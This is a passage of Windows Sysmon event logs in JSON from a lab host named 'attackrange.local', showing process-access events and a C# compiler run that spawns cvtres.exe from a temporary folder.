C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:35.963","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:37","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:35","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5782,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:35.963\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:35.963","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:37","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:35","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5783,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:35.963\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:35.963","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:37","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:35","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5784,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:35.963\r\nSourceProcessGUID: {90617006-4171-5F2D-0000-0010F97D0800}\r\nSourceProcessId: 3292\r\nSourceThreadId: 4700\r\nSourceImage: C:\\Windows\\system32\\conhost.exe\r\nTargetProcessGUID: {90617006-4170-5F2D-0000-0010A14E0800}\r\nTargetProcessId: 2692\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:35.963","SourceProcessGUID":"{90617006-4171-5F2D-0000-0010F97D0800}","SourceProcessId":"3292","SourceThreadId":"4700","SourceImage":"C:\\Windows\\system32\\conhost.exe","TargetProcessGUID":"{90617006-4170-5F2D-0000-0010A14E0800}","TargetProcessId":"2692","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:37","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:36","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":1,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":1,"OpcodeValue":0,"RecordNumber":5785,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process Create:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:36.030\r\nProcessGuid: {90617006-4174-5F2D-0000-00109CC50800}\r\nProcessId: 1324\r\nImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\cvtres.exe\r\nFileVersion: 12.00.52519.0 built by: VSWINSERVICING\r\nDescription: Microsoft® Resource File To COFF Object Conversion Utility\r\nProduct: Microsoft® .NET Framework\r\nCompany: Microsoft Corporation\r\nOriginalFileName: CVTRES.EXE\r\nCommandLine: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 \"/OUT:C:\\Users\\ADMINI~1\\AppData\\Local\\Temp\\RES72D1.tmp\" \"c:\\Users\\Administrator\\AppData\\Local\\Temp\\fquo5tdv\\CSC57ECE8AC177147BEBE6B49C9A2A7792.TMP\"\r\nCurrentDirectory: C:\\Users\\Administrator\\\r\nUser: ATTACKRANGE\\Administrator\r\nLogonGuid: {90617006-4171-5F2D-0000-0020327D0800}\r\nLogonId: 0x87D32\r\nTerminalSessionId: 0\r\nIntegrityLevel: High\r\nHashes: MD5=33BB8BE0B4F547324D93D5D2725CAC3D,SHA256=54315FD2B69C678EB7D8C145F683C15F41FA9F7B9ABF7BF978667DF4158F43C3,IMPHASH=9A65E39CA38ADDAA7D4BB704AD0223FF\r\nParentProcessGuid: {90617006-4173-5F2D-0000-00101EC20800}\r\nParentProcessId: 2692\r\nParentImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe\r\nParentCommandLine: \"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe\" /noconfig /fullpaths @\"C:\\Users\\Administrator\\AppData\\Local\\Temp\\fquo5tdv\\fquo5tdv.cmdline\"","Category":"Process Create (rule: ProcessCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:56:36.030","ProcessGuid":"{90617006-4174-5F2D-0000-00109CC50800}","Image":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\cvtres.exe","FileVersion":"12.00.52519.0 built by: VSWINSERVICING","Description":"Microsoft® Resource File To COFF Object Conversion Utility","Product":"Microsoft® .NET Framework","Company":"Microsoft Corporation","OriginalFileName":"CVTRES.EXE","CommandLine":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 \"/OUT:C:\\Users\\ADMINI~1\\AppData\\Local\\Temp\\RES72D1.tmp\" \"c:\\Users\\Administrator\\AppData\\Local\\Temp\\fquo5tdv\\CSC57ECE8AC177147BEBE6B49C9A2A7792.TMP\"","CurrentDirectory":"C:\\Users\\Administrator\\","User":"ATTACKRANGE\\Administrator","LogonGuid":"{90617006-4171-5F2D-0000-0020327D0800}","LogonId":"0x87d32","TerminalSessionId":"0","IntegrityLevel":"High","Hashes":"MD5=33BB8BE0B4F547324D93D5D2725CAC3D,SHA256=54315FD2B69C678EB7D8C145F683C15F41FA9F7B9ABF7BF978667DF4158F43C3,IMPHASH=9A65E39CA38ADDAA7D4BB704AD0223FF","ParentProcessGuid":"{90617006-4173-5F2D-0000-00101EC20800}","ParentProcessId":"2692","ParentImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe","ParentCommandLine":"\"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe\" /noconfig /fullpaths @\"C:\\Users\\Administrator\\AppData\\Local\\Temp\\fquo5tdv\\fquo5tdv.cmdline\"","EventReceivedTime":"2020-08-07 11:56:37","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:36","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5786,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:36.025\r\nSourceProcessGUID: {90617006-4173-5F2D-0000-00101EC20800}\r\nSourceProcessId: 2692\r\nSourceThreadId: 2380\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe\r\nTargetProcessGUID: {90617006-4174-5F2D-0000-00109CC50800}\r\nTargetProcessId: 1324\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\cvtres.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorpehost.dll+b181|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorpehost.dll+3d58|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorpehost.dll+3ed0|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorpehost.dll+3fa6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorpehost.dll+274e|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorpehost.dll+27a0|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorpehost.dll+28e4|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe+7e38f|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe+45d22|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe+448ef|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe+445e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe+44303|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe+18321|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe+17b76|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe+9e0d|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe+1edf02|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:36.025","SourceProcessGUID":"{90617006-4173-5F2D-0000-00101EC20800}","SourceProcessId":"2692","SourceThreadId":"2380","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe","TargetProcessGUID":"{90617006-4174-5F2D-0000-00109CC50800}","TargetProcessId":"1324","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\cvtres.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorpehost.dll+b181|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorpehost.dll+3d58|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorpehost.dll+3ed0|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorpehost.dll+3fa6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorpehost.dll+274e|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorpehost.dll+27a0|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorpehost.dll+28e4|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe+7e38f|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe+45d22|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe+448ef|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe+445e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe+44303|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe+18321|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe+17b76|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe+9e0d|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe+1edf02|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:37","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:36","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5787,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:36.025\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 2376\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-4174-5F2D-0000-00109CC50800}\r\nTargetProcessId: 1324\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\cvtres.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:36.025","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"2376","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-4174-5F2D-0000-00109CC50800}","TargetProcessId":"1324","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\cvtres.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:56:37","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:36","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5788,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:36.025\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:36.025","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:37","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:36","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5789,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:36.025\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: 